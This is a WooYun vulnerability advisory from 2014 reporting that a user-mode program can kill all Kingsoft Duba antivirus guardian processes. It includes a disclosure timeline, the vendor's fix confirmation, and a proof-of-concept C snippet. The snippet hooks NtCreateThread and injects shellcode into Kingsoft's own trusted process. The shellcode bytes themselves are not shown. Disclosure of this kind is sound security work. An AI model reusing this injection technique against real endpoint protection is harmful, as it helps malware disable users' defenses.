当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-078975

漏洞标题：金山毒霸全防御失效漏洞

相关厂商：金山毒霸

漏洞作者： alvin

提交时间：2014-10-11 14:46

修复时间：2015-01-09 14:48

公开时间：2015-01-09 14:48

漏洞类型：拒绝服务

危害等级：高

自评Rank：20

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-10-11： 细节已通知厂商并且等待厂商处理中
2014-10-12： 厂商已经确认，细节仅向厂商公开
2014-12-06： 细节向核心白帽子及相关领域专家公开
2014-12-16： 细节向普通白帽子公开
2014-12-26： 细节向实习白帽子公开
2015-01-09： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

金山毒霸全防御及自保护都开启的环境下，用户态程序可以轻易杀掉金山毒霸的所有守护进程。

详细说明：

1.攻击前：

before.png


2.攻击后：

after.png


exp触发后，金山毒霸的守护进程已经被杀掉。

漏洞证明：

LONG WINAPI NewCreateThread(PVOID p1, PVOID p2, PVOID p3, PVOID p4, PVOID p5, PVOID p6,PVOID p7,PVOID p8)
{	
	PBYTE pBase = (PBYTE)VirtualAllocEx(p4, NULL, 0x400, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	BOOL bWrite = FALSE;
	DWORD dwWritten = 0;
	bWrite = WriteProcessMemory(p4, (LPVOID)pBase, shellCode, sizeof(shellCode), &dwWritten);
	*((DWORD*)((PBYTE)p6 + 0xb0)) = (DWORD)pBase;
	return (fnNtCreateThread)(p1, p2, p3, p4, p5, p6,p7,p8);
}
int _tmain(int argc, _TCHAR* argv[])
{
	LPCTSTR lpszProcess = _T("C:\\Program Files\\kingsoft\\kingsoft antivirus\\ksoftmgr.exe");
	PROCESS_INFORMATION pi = { 0 };
	STARTUPINFO si = { 0 };
	si.cb = sizeof(STARTUPINFO);	
	DetourProc((PVOID)GetProcAddress(GetModuleHandle(_T("ntdll")),  "NtCreateThread"), (PVOID)NewCreateThread, (PVOID*)(&fnNtCreateThread));
	CreateProcess(lpszProcess, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}

修复方案：

增强对守护进程的自保护逻辑

版权声明：转载请注明来源 alvin@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2014-10-12 19:37

厂商回复：

非常感谢您的反馈，我们已启动修复

最新状态：

2014-11-12：已修复